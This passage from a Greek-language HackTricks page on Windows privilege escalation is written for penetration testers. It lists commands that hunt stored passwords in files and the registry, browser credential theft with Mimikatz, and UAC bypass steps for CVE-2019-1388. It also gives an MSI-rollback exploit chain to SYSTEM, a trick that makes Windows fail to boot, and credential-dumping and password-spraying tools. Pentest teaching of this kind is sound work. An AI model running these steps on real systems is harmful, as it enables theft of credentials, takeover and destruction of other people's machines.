reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Ιστορικό Περιηγητών
Πρέπει να ελέγξετε για dbs όπου αποθηκεύονται οι κωδικοί πρόσβασης από Chrome or Firefox.
Ελέγξτε επίσης το ιστορικό, τους σελιδοδείκτες και τα favourites των περιηγητών, καθώς ενδέχεται να είναι αποθηκευμένοι εκεί κάποιοι κωδικοί πρόσβασης.
Εργαλεία για εξαγωγή κωδικών πρόσβασης από περιηγητές:
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Το Component Object Model (COM) είναι μια τεχνολογία ενσωματωμένη στο λειτουργικό σύστημα Windows που επιτρέπει την επικοινωνία μεταξύ συστατικών λογισμικού γραμμένων σε διαφορετικές γλώσσες. Κάθε COM component αναγνωρίζεται μέσω ενός class ID (CLSID) και κάθε component εκθέτει λειτουργίες μέσω μιας ή περισσότερων interfaces, που αναγνωρίζονται μέσω interface IDs (IIDs).
Οι κλάσεις και τα interfaces του COM ορίζονται στο registry κάτω από HKEY\CLASSES\ROOT\CLSID και HKEY\CLASSES\ROOT\Interface αντίστοιχα. Αυτό το registry δημιουργείται με τη συγχώνευση των HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Μέσα στα CLSIDs αυτού του registry μπορείτε να βρείτε το child registry InProcServer32 που περιέχει μια default value που δείχνει σε ένα DLL και μια τιμή ονόματι ThreadingModel που μπορεί να είναι Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) ή Neutral (Thread Neutral).
Βασικά, αν μπορέσετε να αντικαταστήσετε κάποιο από τα DLLs που πρόκειται να εκτελεστεί, θα μπορούσατε να αποκτήσετε αυξημένα προνόμια εάν αυτό το DLL εκτελεστεί από διαφορετικό χρήστη.
Για να μάθετε πώς οι επιτιθέμενοι χρησιμοποιούν το COM Hijacking ως μηχανισμό persistence, ελέγξτε:
Γενική αναζήτηση κωδικών σε αρχεία και μητρώο
Αναζήτηση για περιεχόμενο αρχείων
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Αναζήτηση αρχείου με συγκεκριμένο όνομα
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Αναζητήστε στο μητρώο για ονόματα κλειδιών και κωδικούς πρόσβασης
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Εργαλεία που αναζητούν passwords
MSF-Credentials Plugin is a msf plugin. Δημιούργησα αυτό το plugin για να automatically execute every metasploit POST module that searches for credentials μέσα στο θύμα.
Winpeas αναζητά αυτόματα όλα τα αρχεία που περιέχουν passwords που αναφέρονται σε αυτή τη σελίδα.
Lazagne είναι ένα ακόμα εξαιρετικό εργαλείο για εξαγωγή password από ένα σύστημα.
Το εργαλείο SessionGopher αναζητά sessions, usernames και passwords πολλών εργαλείων που αποθηκεύουν αυτά τα δεδομένα σε clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Φανταστείτε ότι μια διεργασία που εκτελείται ως SYSTEM ανοίγει μια νέα διεργασία (OpenProcess()
) με full access. Η ίδια διεργασία επίσης δημιουργεί μια νέα διεργασία (CreateProcess()
) με low privileges αλλά κληρονομεί όλα τα open handles της κύριας διεργασίας.
Τότε, αν έχετε full access στην διαδικασία με τα low privileges, μπορείτε να αρπάξετε το open handle προς την privileged process που δημιουργήθηκε με OpenProcess()
και να inject ένα shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Τα shared memory segments, που αναφέρονται ως pipes, επιτρέπουν την επικοινωνία διεργασιών και τη μεταφορά δεδομένων.
Τα Windows παρέχουν μια λειτουργία που ονομάζεται Named Pipes, επιτρέποντας σε άσχετες διεργασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με αρχιτεκτονική client/server, με ρόλους ορισμένους ως named pipe server και named pipe client.
Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν client, ο server που δημιούργησε το pipe έχει τη δυνατότητα να υιοθετήσει την ταυτότητα του client, εφόσον έχει τα απαραίτητα δικαιώματα SeImpersonate. Η αναγνώριση μιας privileged process που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε δίνει την ευκαιρία να κερδίσετε υψηλότερα privileges υιοθετώντας την ταυτότητα εκείνης της διεργασίας όταν αλληλεπιδρά με το pipe που έχετε εγκαταστήσει. Για οδηγίες εκτέλεσης μιας τέτοιας επίθεσης, χρήσιμοι οδηγοί υπάρχουν here και here.
Επίσης, το ακόλουθο εργαλείο επιτρέπει να intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept και αυτό το εργαλείο επιτρέπει να απαριθμήσετε και να δείτε όλα τα pipes για να βρείτε privescs https://github.com/cyberark/PipeViewer
Misc
File Extensions that could execute stuff in Windows
Ελέγξτε τη σελίδα https://filesec.io/
Monitoring Command Lines for passwords
Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν scheduled tasks ή άλλες διεργασίες που εκτελούνται και pass credentials on the command line. Το παρακάτω script καταγράφει τα process command lines κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας τυχόν διαφορές.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Αν έχετε πρόσβαση στη γραφική διεπαφή (μέσω console ή RDP) και το UAC είναι ενεργοποιημένο, σε ορισμένες εκδόσεις του Microsoft Windows είναι δυνατό να τρέξετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη.
Αυτό καθιστά δυνατή την ανοδική κλιμάκωση προνομίων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη να εγκαταστήσετε οτιδήποτε και το binary που χρησιμοποιείται κατά τη διάρκεια της διαδικασίας είναι υπογεγραμμένο και εκδόθηκε από τη Microsoft.
Μερικά από τα επηρεαζόμενα συστήματα είναι τα εξής:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, είναι απαραίτητο να εκτελέσετε τα ακόλουθα βήματα:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Διαβάστε αυτό για να μάθετε για τα Integrity Levels:
Έπειτα διαβάστε αυτό για να μάθετε για το UAC και τις UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
Η τεχνική που περιγράφεται in this blog post με κώδικα exploit available here.
Η επίθεση βασικά συνίσταται στην κατάχρηση της δυνατότητας rollback του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διαδικασία απεγκατάστασης. Για αυτό ο attacker χρειάζεται να δημιουργήσει έναν malicious MSI installer που θα χρησιμοποιηθεί για να αρπάξει τον φάκελο C:\Config.Msi
, ο οποίος αργότερα θα χρησιμοποιηθεί από τον Windows Installer για να αποθηκεύσει αρχεία rollback κατά την απεγκατάσταση άλλων MSI πακέτων, όπου τα rollback αρχεία θα είχαν τροποποιηθεί ώστε να περιέχουν το κακόβουλο payload.
Η συνοπτική τεχνική είναι η εξής:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msi
empty)
-
Step 1: Install the MSI
-
Δημιουργήστε ένα
.msi
που εγκαθιστά ένα αβλαβές αρχείο (π.χ.,dummy.txt
) σε έναν εγγράψιμο φάκελο (TARGETDIR
). -
Επισημάνετε τον installer ως "UAC Compliant", ώστε ένας non-admin user να μπορεί να το τρέξει.
-
Κρατήστε ένα handle ανοιχτό στο αρχείο μετά την εγκατάσταση.
-
Step 2: Begin Uninstall
-
Απεγκαταστήστε το ίδιο
.msi
. -
Η διαδικασία απεγκατάστασης αρχίζει να μετακινεί αρχεία στο
C:\Config.Msi
και να τα μετονομάζει σε.rbf
αρχεία (rollback backups). -
Poll the open file handle χρησιμοποιώντας
GetFinalPathNameByHandle
για να ανιχνεύσετε πότε το αρχείο γίνεταιC:\Config.Msi\<random>.rbf
. -
Step 3: Custom Syncing
-
Το
.msi
περιλαμβάνει μια custom uninstall action (SyncOnRbfWritten
) που: -
Σηματοδοτεί όταν το
.rbf
έχει γραφτεί. -
Έπειτα περιμένει σε ένα άλλο event πριν συνεχίσει την απεγκατάσταση.
-
Step 4: Block Deletion of
.rbf
-
Όταν λάβει το σήμα, ανοίγει το
.rbf
αρχείο χωρίςFILE_SHARE_DELETE
— αυτό αποτρέπει τη διαγραφή του. -
Έπειτα σηματοδοτεί πίσω ώστε η απεγκατάσταση να ολοκληρωθεί.
-
Ο Windows Installer δεν καταφέρνει να διαγράψει το
.rbf
, και επειδή δεν μπορεί να διαγράψει όλο το περιεχόμενο,C:\Config.Msi
δεν αφαιρείται. -
Step 5: Manually Delete
.rbf
-
Εσείς (attacker) διαγράφετε χειροκίνητα το
.rbf
αρχείο. -
Τώρα
C:\Config.Msi
είναι κενό, έτοιμο να αρπαχτεί.
Σε αυτό το σημείο, trigger the SYSTEM-level arbitrary folder delete vulnerability για να διαγράψετε το
C:\Config.Msi
.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msi
with Weak ACLs -
Αναδημιουργήστε τον φάκελο
C:\Config.Msi
μόνοι σας. -
Ορίστε weak DACLs (π.χ., Everyone:F), και κρατήστε ένα handle ανοιχτό με
WRITE_DAC
. -
Step 7: Run Another Install
-
Εγκαταστήστε ξανά το
.msi
, με: -
TARGETDIR
: Εγγράψιμη τοποθεσία. -
ERROROUT
: Μια μεταβλητή που προκαλεί αναγκαστική αποτυχία. -
Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να προκαλέσει rollback ξανά, το οποίο διαβάζει
.rbs
και.rbf
. -
Step 8: Monitor for
.rbs
-
Χρησιμοποιήστε
ReadDirectoryChangesW
για να παρακολουθείτε τοC:\Config.Msi
μέχρι να εμφανιστεί ένα νέο.rbs
. -
Καταγράψτε το όνομα του αρχείου.
-
Step 9: Sync Before Rollback
-
Το
.msi
περιέχει μια custom install action (SyncBeforeRollback
) που: -
Σηματοδοτεί ένα event όταν το
.rbs
δημιουργηθεί. -
Έπειτα περιμένει πριν συνεχίσει.
-
Step 10: Reapply Weak ACL
-
Μετά τη λήψη του event
.rbs created
: -
Ο Windows Installer επαναεφαρμόζει ισχυρά ACLs στο
C:\Config.Msi
. -
Αλλά επειδή εξακολουθείτε να έχετε ένα handle με
WRITE_DAC
, μπορείτε να επαναεφαρμόσετε ξανά weak ACLs.
Τα ACLs εφαρμόζονται μόνο κατά το άνοιγμα του handle, οπότε μπορείτε ακόμα να γράψετε στον φάκελο.
-
Step 11: Drop Fake
.rbs
and.rbf
-
Επικαλύψτε το
.rbs
αρχείο με ένα fake rollback script που λέει στα Windows να: -
Επαναφέρει το
.rbf
σας (malicious DLL) σε μια privileged location (π.χ.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL
). -
Τοποθετεί το fake
.rbf
που περιέχει ένα malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Σηματοδοτήστε το sync event ώστε ο installer να συνεχίσει.
-
Μια type 19 custom action (
ErrorOut
) έχει ρυθμιστεί να προκαλεί σκόπιμη αποτυχία της εγκατάστασης σε ένα γνωστό σημείο. -
Αυτό προκαλεί την έναρξη του rollback.
-
Step 13: SYSTEM Installs Your DLL
-
Ο Windows Installer:
-
Διαβάζει το κακόβουλο
.rbs
σας. -
Αντιγράφει το
.rbf
DLL σας στην προοριζόμενη τοποθεσία. -
Τώρα έχετε το malicious DLL σε μια SYSTEM-loaded διαδρομή.
-
Final Step: Execute SYSTEM Code
-
Τρέξτε ένα αξιόπιστο auto-elevated binary (π.χ.,
osk.exe
) που φορτώνει το DLL που αρπάξατε. -
Μπαμ: Ο κώδικάς σας εκτελείται ως SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
Η κύρια τεχνική rollback του MSI (η προηγούμενη) υποθέτει ότι μπορείτε να διαγράψετε έναν ολόκληρο φάκελο (π.χ., C:\Config.Msi
). Αλλά τι γίνεται αν η ευπάθεια σας επιτρέπει μόνο arbitrary file deletion;
Μπορείτε να εκμεταλλευτείτε τα NTFS internals: κάθε φάκελος έχει ένα κρυφό alternate data stream που ονομάζεται:
C:\SomeFolder::$INDEX_ALLOCATION
Αυτό το stream αποθηκεύει τα μεταδεδομένα ευρετηρίου του φακέλου.
Άρα, αν διαγράψετε το ::$INDEX_ALLOCATION
stream ενός φακέλου, το NTFS αφαιρεί ολόκληρο τον φάκελο από το σύστημα αρχείων.
Μπορείτε να το κάνετε χρησιμοποιώντας τυπικά APIs διαγραφής αρχείων όπως:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Παρόλο που καλείς ένα file delete API, αυτό διαγράφει τον ίδιο τον φάκελο.
Από τη Διαγραφή Περιεχομένων Φακέλου στο SYSTEM EoP
Τι συμβαίνει αν το primitive σου δεν σου επιτρέπει να διαγράψεις αυθαίρετα αρχεία/φακέλους, αλλά σου επιτρέπει να διαγράψεις τα περιεχόμενα ενός φακέλου που ελέγχεται από τον επιτιθέμενο;
- Step 1: Setup a bait folder and file
- Create:
C:\temp\folder1
- Inside it:
C:\temp\folder1\file1.txt
- Step 2: Place an oplock on
file1.txt
- The oplock pauses execution when a privileged process tries to delete
file1.txt
.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Βήμα 3: Προκαλέστε τη διαδικασία SYSTEM (π.χ.,
SilentCleanup
)
- Αυτή η διαδικασία σαρώνει φακέλους (π.χ.,
%TEMP%
) και προσπαθεί να διαγράψει τα περιεχόμενά τους. - Όταν φτάσει το
file1.txt
, το oplock ενεργοποιείται και παραδίδει τον έλεγχο στο callback σας.
- Βήμα 4: Μέσα στο oplock callback – ανακατεύθυνση της διαγραφής
-
Επιλογή A: Μετακινήστε το
file1.txt
αλλού -
Αυτό αδειάζει τον φάκελο
folder1
χωρίς να σπάσει το oplock. -
Μην διαγράψετε το
file1.txt
απευθείας — αυτό θα απελευθέρωνε το oplock πρόωρα. -
Επιλογή B: Μετατρέψτε το
folder1
σε junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Επιλογή C: Δημιουργήστε ένα symlink στο
\RPC Control
:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Αυτό στοχεύει στην NTFS εσωτερική ροή που αποθηκεύει τα μεταδεδομένα του φακέλου — η διαγραφή της διαγράφει το φάκελο.
- Βήμα 5: Απελευθέρωση του oplock
- Η διαδικασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει
file1.txt
. - Αλλά τώρα, λόγω του junction + symlink, στην πραγματικότητα διαγράφει:
C:\Config.Msi::$INDEX_ALLOCATION
Αποτέλεσμα: C:\Config.Msi
διαγράφεται από το SYSTEM.
Από τη δημιουργία αυθαίρετου φακέλου σε μόνιμο DoS
Εκμεταλλευτείτε ένα primitive που σας επιτρέπει να δημιουργήσετε έναν αυθαίρετο φάκελο ως SYSTEM/admin — ακόμη и αν δεν μπορείτε να γράψετε αρχεία ή να ορίσετε αδύναμα δικαιώματα.
Δημιουργήστε έναν φάκελο (όχι αρχείο) με το όνομα ενός κρίσιμου driver των Windows, π.χ.:
C:\Windows\System32\cng.sys
- Αυτή η διαδρομή συνήθως αντιστοιχεί στον kernel-mode driver
cng.sys
. - Αν το δημιουργήσετε εκ των προτέρων ως φάκελο, τα Windows αποτυγχάνουν να φορτώσουν τον πραγματικό driver κατά την εκκίνηση.
- Στη συνέχεια, τα Windows προσπαθούν να φορτώσουν το
cng.sys
κατά την εκκίνηση. - Βλέπει το φάκελο, αποτυγχάνει να εντοπίσει τον πραγματικό driver, και καταρρέει ή διακόπτει την εκκίνηση.
- Δεν υπάρχει fallback, και δεν υπάρχει ανάκτηση χωρίς εξωτερική παρέμβαση (π.χ. επισκευή εκκίνησης ή πρόσβαση στο δίσκο).
Από High Integrity σε System
Νέα υπηρεσία
Εάν ήδη εκτελείστε σε μια διεργασία High Integrity, η διαδρομή προς SYSTEM μπορεί να είναι εύκολη απλώς με τη δημιουργία και εκτέλεση μιας νέας υπηρεσίας:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
tip
Όταν δημιουργείτε ένα service binary βεβαιωθείτε ότι είναι έγκυρο service ή ότι το binary εκτελεί τις απαραίτητες ενέργειες αρκετά γρήγορα, καθώς θα τερματιστεί σε 20s αν δεν είναι έγκυρο service.
AlwaysInstallElevated
From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
Περισσότερες πληροφορίες σχετικά με τα κλειδιά μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα πακέτο .msi εδώ.
High + SeImpersonate privilege to System
Μπορείτε να βρείτε τον κώδικα εδώ.
From SeDebug + SeImpersonate to Full Token privileges
Εάν έχετε αυτά τα προνόμια token (πιθανότατα θα τα βρείτε σε μια ήδη High Integrity διαδικασία), θα μπορείτε να ανοίξετε σχεδόν οποιαδήποτε διαδικασία (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, να αντιγράψετε το token της διαδικασίας και να δημιουργήσετε μια τυχαία διαδικασία με εκείνο το token.
Κατά κανόνα επιλέγεται κάποια διαδικασία που τρέχει ως SYSTEM με όλα τα προνόμια token (ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα προνόμια token).
Μπορείτε να βρείτε ένα παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ.
Named Pipes
This technique is used by meterpreter to escalate in getsystem
. Η τεχνική συνίσταται στο δημιουργία ενός pipe και στη συνέχεια δημιουργία/κατάχρηση ενός service για να γράψει σε αυτό το pipe. Στη συνέχεια, ο server που δημιούργησε το pipe χρησιμοποιώντας το προνόμιο SeImpersonate
θα μπορεί να υποδυθεί το token του pipe client (το service) αποκτώντας προνόμια SYSTEM.
Εάν θέλετε να μάθετε περισσότερα για named pipes πρέπει να διαβάσετε αυτό.
Αν θέλετε να δείτε ένα παράδειγμα πώς να μεταβείτε από high integrity σε System χρησιμοποιώντας named pipes διαβάστε αυτό.
Dll Hijacking
Αν καταφέρετε να κάνετε hijack μια dll που φορτώνεται από μια process που τρέχει ως SYSTEM, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα με αυτά τα δικαιώματα. Επομένως το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος privilege escalation, και, επιπλέον, είναι πολύ πιο εύκολο να επιτευχθεί από μια high integrity διαδικασία, καθώς αυτή θα έχει δικαιώματα εγγραφής στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.
Μπορείτε να μάθετε περισσότερα για το Dll hijacking εδώ.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
Καλύτερο εργαλείο για αναζήτηση Windows τοπικών ευπαθειών ανύψωσης προνομίων: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- Ελέγχει για λανθασμένες ρυθμίσεις και ευαίσθητα αρχεία (έλεγχος εδώ). Εντοπίστηκε.
JAWS -- Ελέγχει για ορισμένες πιθανές λανθασμένες ρυθμίσεις και συλλέγει πληροφορίες (έλεγχος εδώ).
privesc -- Ελέγχει για λανθασμένες ρυθμίσεις
SessionGopher -- Εξάγει αποθηκευμένες πληροφορίες συνεδριών από PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.
Invoke-WCMDump -- Εξάγει διαπιστευτήρια από το Credential Manager. Εντοπίστηκε.
DomainPasswordSpray -- Κάνει password spray με τους συλλεγμένους κωδικούς στο domain
Inveigh -- Inveigh είναι ένα PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer και εργαλείο man-in-the-middle.
WindowsEnum -- Απλή Windows enumeration για privesc
Sherlock ~~~~ -- Αναζητά γνωστές ευπάθειες privesc (DEPRECATED for Watson)
WINspect -- Τοπικοί έλεγχοι (Απαιτούνται δικαιώματα Admin)
Exe
Watson -- Αναζητά γνωστές ευπάθειες privesc (χρειάζεται να μεταγλωττιστεί χρησιμοποιώντας VisualStudio) (precompiled)
SeatBelt -- Εντοπίζει στο σύστημα αναζητώντας λανθασμένες ρυθμίσεις (περισσότερο εργαλείο συλλογής πληροφοριών παρά privesc) (πρέπει να μεταγλωττιστεί) (precompiled)
LaZagne -- Εξάγει διαπιστευτήρια από πολλά προγράμματα (precompiled exe στο github)
SharpUP -- Port του PowerUp σε C#
Beroot ~~~~ -- Ελέγχει για λανθασμένες ρυθμίσεις (εκτελέσιμο precompiled στο github). Δεν συνιστάται. Δεν λειτουργεί καλά στα Win10.
Windows-Privesc-Check -- Ελέγχει για πιθανές λανθασμένες ρυθμίσεις (exe από python). Δεν συνιστάται. Δεν λειτουργεί καλά στα Win10.
Bat
winPEASbat -- Εργαλείο δημιουργημένο βάσει αυτής της ανάρτησης (δεν χρειάζεται accesschk για να δουλέψει σωστά αλλά μπορεί να το χρησιμοποιεί).
Local
Windows-Exploit-Suggester -- Διαβάζει την έξοδο του systeminfo και προτείνει λειτουργικά exploits (τοπικό python)
Windows Exploit Suggester Next Generation -- Διαβάζει την έξοδο του systeminfo και προτείνει λειτουργικά exploits (τοπικό python)
Meterpreter
multi/recon/local_exploit_suggestor
Πρέπει να μεταγλωττίσετε το project χρησιμοποιώντας τη σωστή έκδοση του .NET (δείτε αυτό). Για να δείτε την εγκατεστημένη έκδοση του .NET στον θύμα μπορείτε να κάνετε:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Αναφορές
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.